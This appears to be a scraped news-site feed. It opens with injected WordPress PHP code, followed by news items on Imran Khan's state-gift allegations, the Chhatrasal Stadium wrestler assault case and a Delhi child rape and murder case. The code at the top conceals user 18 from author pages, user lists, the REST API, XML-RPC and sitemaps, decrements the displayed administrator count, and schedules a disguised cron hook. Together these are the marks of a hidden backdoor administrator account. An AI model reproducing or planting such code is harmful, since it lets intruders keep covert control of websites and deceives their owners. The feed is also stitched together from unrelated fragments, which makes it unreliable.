add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Imran Khan, Pakistan’s Prime Minister, has been accused of selling gifts he received from other heads of state appeared first on The Edge Media.
]]>
During a state visit, gifts are routinely exchanged between heads of state or officers holding constitutional positions. Unless sold at an open auction, these gifts remain the property of the state, according to the rules of the gift depository (Toshakhana). According to The Express Tribune, officials are allowed to keep gifts with a market value of less than Rs 10,000 without paying anything.
The post Imran Khan, Pakistan’s Prime Minister, has been accused of selling gifts he received from other heads of state appeared first on The Edge Media.
]]>The post Chhatrasal Stadium brawl accuse moves plea for preponement of hearing appeared first on The Edge Media.
]]>Accused Anirudh Dahiya moved the plea for preponement of hearing as the matter, which was slated to be heard today by Chief Metropolitan Magistrate Satvir Singh Lamba got adjourned to October due to the Muharram holiday.
“No fruitful purpose would be served if the matter is adjourned for October 9 as accused seek to expedite the proceeding,” the plea said seeking it to be preponed in the interest of justice.
The application, filed by advocate Pradeep Rana on Dahiya’s behalf on August 17, is listed for hearing on August 24.
Besides Dahiya, Olympic medallist wrestler Sushil Kumar and 11 others are accused in the case.
Sushil Kumar and others had allegedly assaulted former junior national wrestling champion Sagar Dhankar and his friends at the stadium on the intervening night of May 4 and 5 over an alleged property dispute.
Sagar succumbed to the injuries later.
The post Chhatrasal Stadium brawl accuse moves plea for preponement of hearing appeared first on The Edge Media.
]]>The post Delhi police : No sign of a short circuit in the water cooler appeared first on The Edge Media.
]]>“No sign of a short circuit in the water cooler. All the four accused will be charge-sheeted by the end of this month,” ANI said quoting the person familiar with the police investigation.
The four accused—Kuldeep Singh, Laxmi Narayan, Radhey Shyam and Salim Ahmad — all of whom worked at the crematorium in Purani Nangal village, near Delhi Cantonment, told the parents the nine-year-old that she died of electrocution when she was fetching water from an electric water cooler installed on the premises on August 1. The four also forcibly cremated the child and allegedly threatened her parents from going to the police.
The four men were arrested after the victim’s parents alleged rape before she was killed. Police booked the four on charges of murder, rape and criminal intimidation, in a case registered under the Indian Penal Code’s sections 302, 376 and 506, in addition to relevant sections of the Protection of Children from Sexual Offences (Pocso) Act and the SC/ST Act.
The mother of the victim had asked her to fetch water from the cooler on the premises of the crematorium, as she often did. The victim’s family, who belong to the impoverished Valmiki community, were acquainted with the accused and they did not suspect any trouble.
When the victim didn’t return home for about half-an-hour, her mother went to the crematorium where one of the accused, Radhe Shyam, told her that her daughter died of electrocution from touching the water cooler. “I saw my daughter lying still on a bench. Her hands and feet were stretched out. Her eyes were closed, her lips were blackish, her nose was bleeding and water was oozing out of her mouth. But there was no mud or dirt on her clothes,” the mother told.
The victim’s parents moved the Delhi high court and sought a court monitored special investigation team to probe into their child’s death. They also alleged delay in the filing of the FIR and sought a judicial enquiry into administrative lapses.
Taking cognisance of the plea, the high court asked the Delhi Police crime branch to file a status report and listed the matter for further hearing on November 8.
The post Delhi police : No sign of a short circuit in the water cooler appeared first on The Edge Media.
]]>